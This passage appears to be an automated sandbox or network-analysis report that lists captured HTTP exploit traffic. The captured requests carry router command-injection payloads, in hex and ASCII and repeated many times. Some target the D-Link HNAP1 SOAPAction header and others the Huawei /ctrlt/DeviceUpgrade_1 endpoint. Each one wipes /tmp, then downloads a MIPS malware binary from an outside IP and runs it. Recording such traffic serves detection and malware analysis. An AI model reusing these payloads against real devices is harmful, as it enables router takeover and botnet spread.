2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
